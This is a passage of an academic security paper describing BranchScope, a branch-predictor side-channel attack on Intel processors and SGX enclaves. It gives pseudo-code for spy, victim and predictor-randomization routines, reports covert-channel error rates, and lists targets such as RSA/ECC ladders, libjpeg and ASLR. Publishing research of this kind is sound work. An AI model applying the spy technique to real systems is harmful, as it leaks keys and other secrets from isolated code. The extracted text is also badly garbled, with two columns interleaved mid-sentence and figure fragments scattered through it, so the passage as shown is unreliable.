means, for example by exploiting the Linux scheduler straightforward, since the virtual addresses of victim’s code as proposed by Gullasch et al. [26] or performing mi- are typically not a secret. If address space layout randomiza- croarchitectural performance degradation attack [4]. tion (ASLR) is used to randomize code locations, the attacker Importantly, in a threat model where a malicious OS can de-randomize using data disclosure [48], or side channel is attacking an SGX compartment, the OS can control attacks on ASLR [21, 24, 28, 30, 54]. the scheduling at ￿ne-grain to slow down the victim. BranchScope requires the following two abilities: • Triggering victim code execution: We assume that the • Establishing Collisions. The attack relies on gener- attacker can initiate code execution of the victim pro- ating collisions within the predictor. Creating colli- cess such that it can force the victim to execute the tar- sions is greatly simpli￿ed if the predictor in use is the geted vulnerable operation at any time. This assump- simply indexed 1-level predictor instead of the more tion holds for many applications that are triggered complex gshare-like predictor. The attack must force by external input. For example, consider a server that both the attack code and the victim code to use the sends out encrypted data; the attacker can trigger a 1-level predictor. response from this server by sending a request to it. • Prime Probe Strategy. After the attacker forces a We do not assume that the attacker can observe the collision in the PHT, she still needs to be able to in- contents of the response from the victim. terpret the state of the PHT in order to determine the direction of the victim’s branch. Therefore, we need to We believe that these three assumptions hold in a large num- understand how to prime a particular PHT entry into ber of realistic attack scenarios making BranchScope a serious a desired starting state in stage 1. This starting state threat to modern systems, on par with other side-channel must enable us to correlate some observable behavior attacks. Later in the paper, we support this claim by demon- of a probe operation from the attacker in stage 3 with strating BranchScope on a real SGX-based platform. the direction of the victim’s branch. 695 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA In the next two sections, we explain how the attacker achieves branch pattern repeatedly executes, the branch mispredic- these two goals. tion rate decreases, as more history is accumulated by the 2-level predictor structures. When the branch pattern is re- 5 Attack Capability I: Establishing peated about 5 – 7 times, the predictor accuracy approaches collisions by controlling selection logic 100% and stays at that value. Both CPUs demonstrated simi- BranchScope’s strategy to establish collisions is to force both lar behavior, with the Skylake processor learning the pattern the spy code and victim code to use the 1-level predictor, slightly faster. which makes the PHT entry used a simple function of the These results indicate that eventually (after 5-7 iterations, branch address. We start with an experiment that demon- or 50-70 executions of the branch) for this pattern, the 2-level strates how the selection logic works, and then use these predictor is used exclusively. However, when the branch is observations to force the use of the 1-level predictor for our ￿rst encountered, either the 1-level or 2-level predictor is target branches. We performed these experiments on three used but is not predicting e￿ectively. recent Intel processors: i5-6200U based on Skylake microar- 5 chitecture, i7-4800MQ based on Haswell microarchitecture i5-6200U and i7-2600 based on Sandy Bridge Microarchitecture. 4 i7-2600 5.1 Understanding the Selection Logic 3 The selection logic within the hardware attempts to choose the predictor that is more accurate. To gain insight into how 2 this selection operates as the 2-level predictor learns a branch execution pattern we conduct the following experiment. An 1 irregular but repeating sequence of branch outcomes from the same branch instruction cannot be predicted accurately 01 3 5 7 9 11 13 15 17 19 by the simple 1-level predictor since the branch outcome 7imes bUanch seTuence executed is not a function of the two preceding branches. However, such a sequence is predictable by a 2-level predictor once its Figure 2. Average number of mispredictions for a sequence history is initialized. To understand how quickly the learn- of branch instructions in individual runs ing process proceeds and the selection of the gshare-like predictor over the 1-level predictor occurs, we performed Next we focus on the initial behavior of the predictor (early the following experiment on two recent Intel processors: iterations in Figure 2). We conjecture that for new branches i5-6200U based on Skylake microarchitecture, and i7-2600 whose information is not stored in the predictor history, the based on Haswell microarchitecture. 1-level predictor is used. This hypothesis intuitively makes • We initialize an array of 10 bits to a randomly selected sense since the 2-level predictor takes a longer time to learn state. This bit pattern serves to control whether the the branch pattern compared to a simple 1-level predictor. branch is taken in our experiment. For example, if an “almost-always-taken” branch at the end • We execute a single branch instruction conditional of the loop is executed, the 1-level predictor will converge to on the array bits, once for each bit. We repeat the the “strongly taken” state after 2-3 executions. On the other series of branches 20 times in a row and record the hand, the 2-level predictor will use di￿erent history register total number of incorrect predictions in this branch values and thus di￿erent PHT entries for every instance sequence for each of the iterations. We use hardware of the branch, making it signi￿cantly slower to converge. performance counters to track prediction, enabling We carried out experiments to validate the use of 1-level accurate measurement with a resolution of a single predictor for branches with no history and found that it branch misprediction. holds for all three Intel platforms. We can detect the use An 1-level predictor will not be able to predict better than 50% of the 1-level predictor when collisions can be established on average, but a gshare style predictor should eventually simply based on the branch addresses. learn the pattern. 5.2 Forcing usage of the 1-level predictor The prediction accuracy from this experiment (averaged over multiple runs) is presented in Figure 2. As seen from the We will now discuss how to use the knowledge gleaned from Figure, as the ￿rst iteration is executed, the misprediction our previous experiment in order to force the hardware to rate is about 50% (￿ve out of ten branches are mispredicted). choose the 1-level predictor for both the attacker and victim This result is expected, since in this stage the 2-level predic- code. tor does not have any prior state, while the 1-level predictor A￿acker code We use the observation that new branches is not capable of predicting such patterns in principle. As the use the 1-level predictor directly in the attacker code to force 696 AveUage mispUedictions Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA the use of the 1-level predictor: we cycle through a number randomize_pht: of branches placed at addresses that collide with the victim cmp %rcx, %rcx; branch (if that also uses the 1-level predictor) in the branch je .L0; nop; .L0: jne .L1; nop; .L1: je .L2; predictor, such that at any time the attack branch being used ............ does not exist in the BPU, forcing the unit to use the 1-level .L99998: je .L99999; nop; .L99999: nop; predictor. Listing 1. Pseudo-code of the spy program. je and jne are Victim code The more di￿cult task is to force the victim randomly selected, achieving random pattern of taken and code to use the 1-level predictor; the victim code is not under not-taken branches the control of the attacker. To force the BPU to use the 1-level predictor for the targeted victim branch, the attacker needs to accomplish one of two goals: 1) ensure that the branches 6 Attack Capability II: Prime Probe used by the attack have not been recently encountered, thus Strategy starting the prediction for these branches from the 1-level Having developed a reliable approach to establish collisions mode; 2) make the 2-level predictor inaccurate and prolong between the attacker and the victim, the next task is to un- its training time, forcing the selector to choose the 1-level derstand the operation of the prediction logic to develop mode at least for several branches. Thus, the attacker must a prime-probe strategy that enables us to infer the victim ensure that at least one of these two properties (if not both) branch direction. The attack should prime the PHT entry be- hold to force the victim code to use the 1-level predictor. fore the victim branch and probe it after the branch to infer We accomplish this goal by developing a sequence of the branch direction. At the core of the predictor structures branch-intensive code that the attacker executes to drive are a set of Finite State Machines (FSM) that produce the pre- the BPU to a state that lowers the 2-level predictor accu- diction decision. Typically, one of these FSMs is maintained racy and potentially replaces the victim branches. As a result for every entry in the PHT table. Both the 1-level and 2-level of executing this sequence, the victim code will use the 1- predictor in a combined predictor structure use the same level predictor when it executes its branch, enabling us to FSM logic and possibly even the same PHT di￿ering only in achieve collisions. This code serves another critical function: the indexing function to the PHT. it forces the PHT entries to a desired state that enables us to reliably detect the branch outcome per the operation of the 6.1 Understanding the prediction logic prediction FSM (reverse engineered in the next section). To We begin with a hypothesis that each PHT entry consists of maximize its e￿ciency, the randomizing code has to have a textbook two-bit saturating counter FSM with four states: two properties. First, the executed branches must not con- strongly taken (ST), weakly taken (WT), weakly not taken tain any regular patterns predictable by the 2-level predictor. (WN) and strongly not taken (SN). We generate several To this end, the directions of branches in the code are ran- branch instructions targeting the same PHT and observe domly picked with no inter-branch dependencies. Second, the resulting predictions (Figure 3). We note that the actual the code must a￿ect a large number of entries inside the implementation of the state machine on these processors is PHT. This is accomplished by executing a large number of unknown and can be more complex. For example, the imple- branch instructions and randomizing memory locations of mentation may include additional state transfers and may the these instructions by either placing or not placing a NOP rely on inputs from other CPU data structures. However, we instruction between them. The outcome patterns are ran- discovered that the behavior of the branch predictors on the domized only once (when the block is generated) and are not processors is consistent with this simple textbook model. re-randomized during execution. These manipulations with Consider the following three steps in which a single test the branch predictor must be performed before the victim branch with no previous history is executed within one pro- executes the target branch (during stage 1 of the attack). cess. This essentially mimics our three attack stages, but The total number of branch instructions needed to be within the same process. First, we execute the aforemen- executed in this manner depends on the size of BPU’s inter- tioned branch instruction three times to prime the corre- nal data structures on a particular CPU. We experimentally sponding PHT entry by placing it into one of the strong discovered that executing 100,000 branch instructions is suf- states (either ST or SN). Second, we execute the same branch ￿cient to randomize the state of most PHT entries and to one more time with both taken and not-taken outcomes (in e￿ectively disable the 2-level predictor. An example of such two separate trials). This is called the target stage, similar a code is presented in Listing 1. Reducing the size of this to stage 2 of the attack. Finally, we execute the same branch code is a topic of future research; for example, if we focus two more times detecting mispredictions (we call it the prob- only on evicting a particular branch, we may be able to come ing stage, similar to stage 3 of the attack). During this stage, up with a shorter sequence of branches that map to the same we also record the prediction accuracy for each of the two PHT and replace that entry. probing branches. 697 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA Table 1 depicts our observations for all possible cases. For the strongly taken (ST) state (rows 1 and 2 in Table 1). Note example, consider the case when the branch in question that a peculiarity that we discovered in Skylake processors was executed three times with not-taken outcome (the prime makes the strongly taken (ST) and weakly taken (WT) states stage). The expectation is that this activity will shift the FSM indistinguishable on that processor. However, this limitation to the SN state. When the branch is executed once with taken does not prevent recognizing the other states. It also does outcome in the target stage, the FSM is switched to the WN not prevent BranchScope attack on Skylake since the attacker state. Finally, the branch is executed two more times with can always pick a PHT randomization code that places the taken outcome during the probing stage. In this case, the ￿rst target PHT entry into a state without such ambiguity. branch executed in the probing stage will be mispredicted, while the second branch will be predicted correctly. In con- 6.2 Setting and probing predictor state trast, if the branch in the target stage was not-taken, the FSM Executing the block of random branch instructions (Listing 1) would stay in the SN state. In that case, both branches in allows the attacker to force the victim code to use 1-level the probe stage would be mispredicted. Therefore, by observ- predictor, as we discussed in previous section. However, a ing the di￿erence in the prediction outcomes for the two carefully selected randomization code can also serve to prime branches in the probing stage, the attacker can determine the targeted PHT entry into a state required by the attacker. the direction of the victim’s branch in the target stage. This To better understand the nature of PHT randomization is the key observation exploited by BranchScope. and the e￿ects of system noise, and select appropriate ran- Weak states domization code for our attack to reliably place the PHT T T T T entries into the attacker-speci￿ed state, we performed an experiment composed of 10 000 iterations. In each iteration, SN WN WT ST we generated a new randomization code block and then per- formed the following activities 1 000 times: a) executed the N NStronNg statesN generated block of branches, b) performed a PHT probing operation for a ￿xed address. For probing operation, we con- Figure 3. Two-bit FSM with four states: SN – strongly not sidered two scenarios: 1) two taken branches, and 2) two taken, WN – weakly not taken, WT – weakly taken, ST – non-taken branches. For every iteration, we collected 1 000 strongly taken measurements for each probing pattern and determined sta- tistical distribution of the PHT states. To collect the statistical pro￿les, we only accounted for the Prime State Target State Probe Observation iterations that produced stable PHT states. We assumed that after after the results are stable if the most frequent prediction pattern Prime Target TTT ST T ST TT HH in both variations of the probing code occurs more than TTT ST T ST NN MM 85% of the time (out of 1 000 executions). Again, the state TTT ST N WT TT HH TTT ST N WT NN MH1 of a PHT entry is not always the same after executing the NNN SN T WN TT MH same randomization code due to the various system e￿ects. NNN SN T WN NN HH NNN SN N SN TT MM The results show that most randomly generated blocks of NNN SN N SN NN HH branch code produce stable PHT state, the distribution of Table 1. FSM transitions for a single PHT entry. The entry patterns for both variations of probing code (along with cut- is set into one of the strong states in the prime stage, a o￿ point) is shown in Figure 4a. Each point on the graph branch is executed once in the target stage, and the resulting represents the percentage of the most frequent prediction state is recorded using performance counters in the probing pattern of the probing code for each PHT randomization code stage. MM – two mispredictions in the probing stage, MH block (each iteration of the experiment). Each iteration is – misprediction followed by a hit (correct prediction) in the depicted by a point on the graph, where the x-axis represents probing stage the percentage of the most frequent prediction pattern for the TT probing code, while the y-axis represents the most frequent prediction pattern for the NN probing code. As seen According to Table 1, it is possible to determine a PHT from the graph, 83% of all randomized code blocks result in state by performing two individual probes with the same stable dominant prediction patterns for both probing code branch instruction, with taken and with not-taken outcomes. sequences. The stable patterns can be translated into one For example, assume that the observed prediction pattern of of the FSM states of the PHT entry targeted by the probing the two probing branches is two hits (HH)when probingwith branch address using Table 1. However, when the prediction two taken branches (TT) and two mispredictions (MM) when probing with two non-taken branches (NN). In this case, we 1MH is observed on Haswell and Sandy Bridge, while MM is observed on can conclude that the PHT entry in question is located in Skylake 698 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA patterns are not stable (the most frequent pattern appears less than 85% of times for either of the probing combinations) 8nNnown100 S1 we assume that this particular iteration of the experiment 90 18.5% is too noisy due to the various system-level e￿ects on the 23.4% 80 predictor, such as the invocation of the 2-level predictor, or DiUWy 4.9% 70 a di￿erent PHT state inherited by the randomizing code due to some intermittent processing). In this case, we consider 60 14.3% 23.9% the measurements to be unreliable and too noisy, and drop 50 W1 14.9% this particular iteration from our collected statistics. In the 40 ST following piechart, we classify these cases as unknown. 3030 40 50 60 70 80 90 100 Figure 4b depicts the distribution of the decoded PHT 77 3robing WT states for the PHT entry targeted by the probing branches. In (a) (b) addition to the four standard stable states with their distinct patterns, we observed another pattern with a stable behavior. Figure 4. Distribution of PHT States This additional pattern consists of two correct predictions (HH) in the probing code regardless of the type of probing. Such a pattern indicates that the PHT randomization code branch instructions was placed. The PHT state was deter- has no e￿ect on the target branch and the BPU can always mined in a similar way as in our previous experiment, using produce a correct prediction. This likely indicates 2-level the dictionary that translates the prediction outcomes of the predictor is used for this branch. We refer to this case as probing code to the PHT state. This experiment allows us dirty. to probe the entire PHT. Figure 5a demonstrates the results To implement BranchScope, the attacker needs to ensure when the branch instruction was placed in the range of vir- that at the time of victim’s execution of stage 2 of the attack, tual addresses from 0x300000 to 0x30010f. As can be seen the PHT entry corresponding to the target branch is in the from the ￿gure, two adjacent addresses can be in di￿erent state desired by the attacker. The attacker cannot simply states. This experiment shows that the granularity of PHT’s set this state at will, because she needs to execute the PHT indexing function is a single byte. randomization code at the end of stage 1, which resets the The PHT probing data can be used to discover the size of entire PHT. However, the attacker can randomly generate PHT. Assuming the PHT index is calculated with a simple the blocks of code that randomize the PHT until the block is modulo operation, the task of reverse-engineering the PHT found that leaves the target PHT entry in the desired state, size is trivial. The observed patterns repeat after each N using the analysis above. Finding the appropriate random- addresses, where N is the size of the PHT. We use this insight ization code is a one-time e￿ort by the attacker and can be to discover the PHT size on our experimental machine. All performed during the pre-attack stage. This is a key element measured states are presented as a vector of states: of BranchScope. V = [0, . . . ,n] | i 2 ST,WT,WN, SN,Unk.,Dirty (1) We can now create a mapping between the predictor be- The vector V can be split into equal-length subvectors of havior and the direction of the branch in the target stage. sizew . We refer tow as the window size. Then, S is the set The main conclusion is that it is possible for a process to de- wcontaining all subvectors of sizew : termine the direction of the target branch only by examining ⇢ whether the two probing branches were correctly predicted |V |Sw = [zw , . . . , (z+1)w1] | 0  z < (2) or not. w The function H (w ) represents the mean of Hamming dis- 6.3 Discussion and Extensions tances computed over all possible pairs of subvectors in Sw : Knowing the states of PHT entries associated with di￿erent 1 X ! ! Sw Sw memory addresses potentially allows the attacker to spy on H (w ) = D (x ) 8x 2 ; n = n 2 2 (3) multiple branch instructions in victim process in a single episode of execution. To pursue such an aggressive attack, where D (x ) is the Hamming distance between two vectors. the adversary needs to understand some details of the PHT Based on this, the size of the PHT can be de￿ned as follows:✓ ◆ ⇢ organization. To this end, we performed the following ex- H (w ) |V |SizePHT = Min 8w 2 2, . . . , (4) periment. w 2 First, we execute the randomization code to set the initial If the resulting function has several local minima, the value state of the PHTs. Next, for a given range of virtual addresses, with lowest value of w is selected. To ￿nd the size of PHT we place a branch instruction at each address and execute we obtained measurements form 216 contiguous addresses. these branches. Finally, we evaluate the state of the PHT Then we tested all possible window sizes from 2 to 216 and entry corresponding to the virtual address at which each computed the ratio H (w )w . To speed up the process, instead 699 11 3robing Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA of trying all possible permutations, we computed Hamming Victim Spy Original 0 1 1 1 1 1 0 1 1 0 distances of 100 random permutations for each window size. TNNNNNTNNT NN Spy MHMHMHMHMM if(){ if(){ MeasurementsMHHHHHMHMM The results showing the minimal value of the ratio are pre- ----- DirectPred ----- Decoded Results 0 1 1 1 1 1 0 1 0 0 sented in Figure 5b. Theminimal value is attained for window } } Spy Dict: MM, HM – 0 size 214. Thus, we make a conclusion that the size of PHT is MHMHMHMHMM MH, HH – 1MHHHHHMHMM 16 384 entries. Figure 5c demonstrates the collected data in the aligned form such that items in each rowmap to the same Figure 6. Demonstration of BranchScope. The attacker pro- PHT entries. The repeated pattern can be clearly observed. cess primes and probes direction predictor, then uses the dictionary to receive direction of the victim branch 0.8 0x300000-0x30000f 0x300010-0x30001f 0.7 0x300020-0x30002f int sec_data[] * 0.6 * * = {1,0,1,1,..}; * 0.5 * * i = 0; * 0.4 * * * 0.3 void victim_f(){ mov 0x601080(,%rax,4),%eax * * 0.2 //Victim Branch test %eax,%eax * * 0x300100-0x30010f 0.1 if(sec_data[i])-ST -WT -WN -SN je 300006d -Unknown -2level 0.0 asm(nop;nop); 16300 16350 16400 16450 nop Window sizH (W) (a) i++; nop (b) } 0x300000-0x30002e (A) (B) 0x304000-0x30402e 0x308000-0x30802e 0x30c000-0x30c02e (c) Listing 2. Pseudo-code of the Victim Program (A) and Dis- assembly of the if-statement (B) Figure 5. Demonstration PHT probing for a range of ad- dresses and its alignment int probe_array [2] = {1, 1};//Not-taken int main(){ for(int i = 0; i < N_BITS; i++){ 7 Implementation of BranchScope randomize_pht();//(1)usleep(SLEEP_TIME);//Wait for victim Based on the steps described above, in this section, we con- spy_function(probe_arr); } } struct and evaluate the actual attack. BranchScope consists void spy_function(int array [2]){ of a spy process that executes the prime (stage 1) and triggers for(int i = 0; i < 2; i++){ a victim process being attacked to execute (stage 2). The spy a = read_branch_mispred_counter(); then executes the probe (stage 3) to complete the attack. We if(array[i])// <- Spy branch assume that the spy can slow down the victim process in or- asm(nop; nop; nop;); der to allow it to execute a single branch instruction during b = read_branch_mispred_counter(); the context switch. In such a scheduling scenario, the spy can store_branch_mispred_data(b - a); } } prime, then allow the victim to execute a single branch, and then probe. In the standard case, this requirement can be met Listing 3. Pseudo-code of the attacker program using [26]. In the case of an SGX enclave, and many other isolated execution solutions [12, 16, 17, 53] this requirement is trivially met because the SGX threat model assumes the the contents of the secret array, based on the observed be- attack controls the OS, and hence scheduling. havior of the branch predictor. The core of the spy program To demonstrate this attack, we ￿rst carry out a covert is spy_function() which executes a single branch instruc- channel experiment. First, we generate a large array of ran- tion (in the if statement) and records the prediction data dom bits. This array is loaded to the address space of the associated with that branch for future analysis. To achieve victim process (the spy does not have access to this array). a collision of the spy’s branch with the victim’s branch in- The victim repeatedly executes a branch instruction, whose side the PHT structure, we placed the two branch instruc- outcome depends on values stored in the array (as shown in tions at identical virtual addresses in both processes. This Listing 2). The relevant portions of the disassembled victim ensures that when the BPU uses the 1-level predictor, the code is presented in Listing 2(B). The branch is taken when two branches will be mapped to the same PHT entry. To the value of the if condition is zero. The spy’s pseudo-code obtain more directions of the victim’s branches, the three is shown in Listing 3. The task of the spy is to determine steps are repeated starting from executing the randomized 700 Hamming disWancH raWio (H/W) Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA code block that places the PHT entry into a required initial All 0 All 1 Random state and turns o￿ 2-level prediction mechanisms. SL isolated 0.46% 0.51% 0.63%SL with noise 0.64% 0.63% 0.74% The attacker process relies on hardware performance coun- Haswell isolated 0.16% 0.27% 0.46% ters [51] for precise detection of correct and incorrect pre- Haswell with noise 0.37% 0.29% 0.67% diction events. If access to the performance counters is not SB isolated 0.68% 1.76% 2.44% available, timingmeasurements using the time stamp counter SB with noise 1.76% 4.88% 3.38% can also be used as we discuss in the next section. The spy Table 2. Average error rate for transmitting bits using extracts a sequence of branch misprediction values and de- BranchScope on Intel Skylake (SL), Haswell and Sandy Bridge codes this sequence to determine the victim’s branch direc- (SB) processors tion. For example, if the attacker observes a sequence of two mispredicted branches or one correctly predicted and one mispredicted branch, then the victim branch is detected as taken, otherwise it is not-taken. An example of data leakage An alternative approach is to detect branch related events across the covert channel is presented in Figure 6. The ￿gure by observing their e￿ect on the CPU performance. An incorrectly- also demonstrates an erroneously received bit. Note that the predicted branch results in fetching of wrong-path instruc- dictionary of patterns that we use in this experiment is ex- tions and signi￿cant cycles lost for restarting the pipeline. tended with rarely observed misprediction patterns in order Therefore, the attacker can track the number of cycles to de- to include all four possible combinations. termine if the branch was predicted correctly. This timekeep- To measure this error rate on the covert channel, we use ing can be realized with rdtsc or rdtscp instructions on it to transfer 1 million bits, once with all bits set to 0, an- Intel processors. These instructions provide user processes other with all set to 1, and the third with randomly chosen with direct access to timekeeping hardware, bypassing sys- bit values. For each bit, we execute the branch condition tem software layers. dependent on the bits value, either taken or not taken. The The BranchScope attack requires the attacker to detect attacker is scheduled on the same core as the victim process. whether a single instance of a branch execution was cor- The bits collected by the attacker are compared with the rectly or incorrectly predicted, rather than relying on the original bits and the error rate calculated. We performed this aggregate BPU performance. To evaluate the applicability of experiment on three recent x86_64 processors from Intel — the rdtscp instruction as a dependable measurement mech- Skylake, Haswell and Sandy Bridge — under two settings. In anism for the purposes of our attack, we performed a series the ￿rst setting, the benchmark was scheduled on an isolated of experiments. First, we collected time measurements of physical core, with no other user processes running. In the a single branch instruction when it is correctly and incor- second setting, no restrictions were set. Since each physical rectly predicted for two cases: taken branch and non-taken core on our experimental machines has two hardware thread branch. For each case, 100 000 samples were collected. The contexts, other normal system activity was simultaneously resulting data, along with computed mean values, is pre- executed on the core in this noisy setting. sented in Figure 7. The case when the actual branch outcome We performed the above experiment 10 times and com- was not-taken is depicted in Figure 7a, while the case with puted the average rates. The results are presented in Table 2. taken outcome is shown in 7b. As seen from the ￿gures, a BranchScope features excellent accuracy on both processors branch misprediction has a noticeable performance impact, with slightly better results on Skylake and Haswell. The Sky- and the e￿ect is present regardless of the actual direction lake and Haswell processors showed very low error rate even of the branch. The slowdown is clear in the individual data with the presence of external noise. This can be explained by points, as well as in the mean values. To eliminate the impact a larger size of the predictor tables in the improved branch of caching on these measurements, we executed each branch predictor design [46] when compared to the older Sandy instance two times, but only recorded the latency during the Bridge processor. second execution, after the instruction has been placed in the cache. 8 Detecting Branch Predictor Events with Speci￿cally, we recorded the latencies of a single branch Timestamp Counter instruction executed two consecutive times when the BP cor-rectly predicts the outcome (prediction hit). We refer to this A key functionality required for the BranchScope attack is the measurements as H1 and H2. Then we performed the same ability to detect branch predictor events. In Sec 7 we made measurement for the case when the direction was mispre- use of hardware performance counters to detect the missed dicted. We refer to these measurements asM1 andM2. Since branches. This approach, relies on the hardware explicitly the latency of a mispredicted branch must be higher that the providing the branch prediction result. In order to make use correctly predicted one, we can compute the branch event of this, however, an attacker would need at least partially detection error rate as the percentage of cases whenH1 > M1 elevated privileges. or H2 > M2. We compute this error rate individually for the 701 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA 35% 1st measurement 1nd measurement 30% 25% 20% 15% 10% 5% (a) (b) 0% 1 3 5 7 9 11 13 15 17 19 Figure 7. Latency (cycles) of a not-taken (a) and taken (b) 1umEer Rf 0easurements branch instruction Figure 8. Branch predictor event detection error rate as a function of the number of RDTSCP measurements ￿rst the second measurements. In addition, to amortize the noise, instead of relying on a single time measurement, we 160 ProbH wLWh Wwo noW-WaNHn branchHs 140 ProbH wLWh Wwo WaNHn branchHs collected multiple measurements and computed the mean 1sW PHasurHPHnW 1sW PHasurHPHnW 2nd PHasurHPHnW 2nd PHasurHPHnW value. The results are presented in Figure 8. As expected, 140 120 the error rate is higher in the ￿rst measurement (due to 120 100 caching e￿ects), within the range of 20-30%. The second 100 80 measurement has a low error rate of about 10% when a sin- 80 gle measurement is used and further reduces to almost 0 as 60 60 the number of measurements approaches 10. 40 40 These results demonstrate the feasibility of time measure- 20 ments using the rdtscp instruction as the branch event de- 20 tection mechanism. Even though correctly detecting events 0 06T(00) WT(0H) W1(HH) 61(HH) 6T(HH) WT(HH) W1(0H) 61(00) in the ￿rst execution of a branch is challenging, it does not a￿ect the BranchScope attack, because the attacker can place a PHT entry into a state that revels the outcome of the vic- Figure 9. Probe latency (both ￿rst and second measurement) tim’s branch based only on the observations of the second depending on the state of PHT branch execution. To illustrate this, consider the case when the state of the PHT entry associated with the victim branch is strongly taken (ST) and the attacker uses non-taken branch a series of speci￿c attacks that can be conducted on a victim for probing. If the outcome of the victim’s branch is taken, even when it is running inside of an SGX enclave. then the attacker will observe the MM pattern. When the victim’s branch outcome is not-taken, the spy will observe 9.1 Overview of Intel SGX MH pattern. Therefore, to reveal the direction of the vic- Intel’s Software Guard Extensions (SGX) is a hardware-based tim’s branch, only the observations from the second branch isolated execution system designed to protect application se- execution is relevant. crets from compromised system software, such as operating Figure 9 demonstrates how di￿erent states of PHT entry system kernels and hypervisors.SGX extensions to the x86- a￿ect the timing of probing branches. The graph features 64 ISA o￿er applications a set of instructions which can be measurements for all four states and for both types of the used to launch a secure enclave that is embedded within the probing and also depicts the standard deviation for each address space of the application. Accesses to enclave mem- result. It is easy to see from the graph that the PHT states ory are controlled by the SGX hardware to prevent access can be reliably distinguished using time measurements. from the outside of the enclave. Therefore, if an application stores sensitive code and data inside an enclave, the secrets 9 Attack Applications of BranchScope are inaccessible to even system software. BranchScope can be directly leveraged to target a system that In addition to providing runtime access control to enclave supports isolated execution, such as Intel’s SGX [42], or be memory pages, SGX supports mechanisms for memory en- used as a general side channel attack in conventional envi- cryption and integrity checking to provide protection against ronments. In this section, we ￿rst overview Intel SGX and physical attacks on memory. SGX is a major e￿ort from attack considerations in such an environment, then describe the industry to provide hardware support for security and 702 LaWHncy (Ps) ErrRr 5ate LaWHncy (Ps) Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA All 0 All 1 Random error rates are acceptable even in the presence of noise; how- SGX with noise 0.008% 0.53% 0.73% SGX isolated 0.003% 0.153% 0.51% ever, when the OS controls the noise (by preventing other Table 3. Covert channel benchmark: average error rate for processes from running), the quality of the channel is im- transmitting bits using BranchScope on Intel Skylake when proved. a trojan (victim) executes in an SGX enclave and the spy is a Next we overview other examples of applications that can regular process assisted by the OS be attacked using BranchScope. The attacks would workwhether these applications are running as usual or inside of an SGX enclave. trusted computing, and is currently the subject of a signi￿- Montgomery ladder: The Montgomery ladder is a popular cant amount of research. algorithm used in modular exponentiation [32] and scalar Isolated execution environments such as SGX can be vul- multiplication [45] algorithms. Both these mathematical op- nerable to side channel attacks. While memory is protected, erations constitute the key components of traditional RSA as many CPU hardware resources still remain shared between well as elliptic curve (ECC) implementations of public-key enclave and non-enclave code. The side-channel threat in cryptography. Montgomery ladder is based on performing an isolated execution context may be even more serious operations regardless of bit value ki in secret key k . This for two reasons. First, users tend to place more trust in sys- implementation mitigates timing and power side channels tems claiming advanced security features [5]. Second, the by equalizing the execution paths. However it requires a threat model assumes that the attacker has full control over branch operating with direct dependency from the value system software. This means that the attacker has full con- of ki . Yarom et. al. [55] demonstrated the vulnerability of trol over scheduling an enclave, the ability to control noise the OpenSSL implementation of ECDSA cipher using the from prefetchers, caches, as well as other workloads. The FLUSH+RELOAD cache side channel attack. In this attack OS can also control other parameters such as the CPU core the CPU cache was used to spy on the direction of the tar- frequency, page translation, low-level performance counters get branch. BranchScope can directly recover the direction andmany other functionswhich otherwise add noise. Several of such branch. Although most recent versions of crypto- recent works have studied this problem in detail. For exam- graphic libraries do not contain branches with outcomes ple, Moghimi et al. [44] investigated how SGX can “amplify” dependent directly on the bits of a secret key, often some known cache attacks, making isolated entities extremely vul- limited information can still be recovered [6, 8] and many nerable to such attacks. Schwarz et al. [47] demonstrated outdated libraries are still in use. how SGX can be used to conceal cache attacks, making anti- malware software, even one running at the kernel level, in- libjpeg: Another example of how our attack can reveal sen- capable of detecting cache side-channel attacks. Finally, SGX sitive information is an attack against libjpeg, a popular JPEG enclaves were shown to be vulnerable to traditional cache encoding/decoding library. The attack is possible because of side-channel attacks [22] as well as some new attacks unique the inverse cosine transform (IDCT) operation performed to SGX, in particular page table side-channel attacks [54]. during decompression. In this optimization elements in rows and columns of coe￿cient matrices are compared to 0 to 9.2 BranchScope attack scenarios avoid costly computations. Each such comparison is real- In an SGX environment, the control over the OS gives the at- ized as an individual branch instruction. By spying on these tacker unique capabilities to perform the BranchScope attack branches the BranchScope is capable of recovering infor- in a low-noise environment. The success of the attack largely mation about relative complexity of decoded pixel blocks. depends on the ability to perform branch manipulations with Attacks on libjpeg were previously demonstrated using the precise timing. The attacker controlled OS can easily manip- page fault side channel [27, 54] by counting the number of ulate victim execution timings. For example the attacker can times the optimization can be applied, resulting in recovery con￿gure the Advanced Programmable Interrupt Controller of an original image. The BranchScope attack is advanta- (APIC) in such a way that enclave code is interrupted after geous as it not only allows to distinguish the cases when several instructions are executed [35]. Alternatively, the at- all row/column elements are zero, but also indicates which tacker can unmap certain memory pages to force a interrupt element is not equal to zero. when an enclave executes certain code [54]. ASLR value recovery: BranchScope can also be used to infer Covert channel a￿ack on SGX: To illustrate BranchScope control code within victim enclaves. The attacker may learn in an SGX environment, we repeat our covert channel bench- not only whether a certain branch was taken or not, but also mark with the sender running inside the SGX enclave using detect the location of branch instruction in a victim’s vir- BranchScope to communicate to a receiver outside SGX. Ta- tual memory by observing branch collisions. This allows the ble 3 illustrates BranchScope’s covert channel quality: the attacker to bypass the address space layout randomization 703 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA (ASLR) protection. Previously, similar attacks were demon- predictor unit. In this section, we overview several possi- strated using the BTB [21, 35]. As indicated by Gruss [23] ble such mitigations. Exploring e￿ective mitigations is an the BTB-based attack does not work on recent Intel’s proces- interesting direction for future research. sors. This makes the direction predictor a unique candidate for this class of attacks. Randomization of the PHT: BranchScope requires the ability to create predictable collisions in the PHT (e.g., based 10 Mitigating BranchScope on virtual address). To prevent such collisions, the PHT in- dexing function can be modi￿ed to receive as input some The root cause of branch-based attacks is the execution of data unique to this software entity. For example, this can branch instructions that are conditioned on the state of secret be part of the SGX hardware state, or simply some random data. Our goal in this paper is to highlight this new source of number generated by the process. One time randomization leakage in a branch predictor unit as a source of vulnerability. may be vulnerable to a probing attack that examines PHT In this section, we 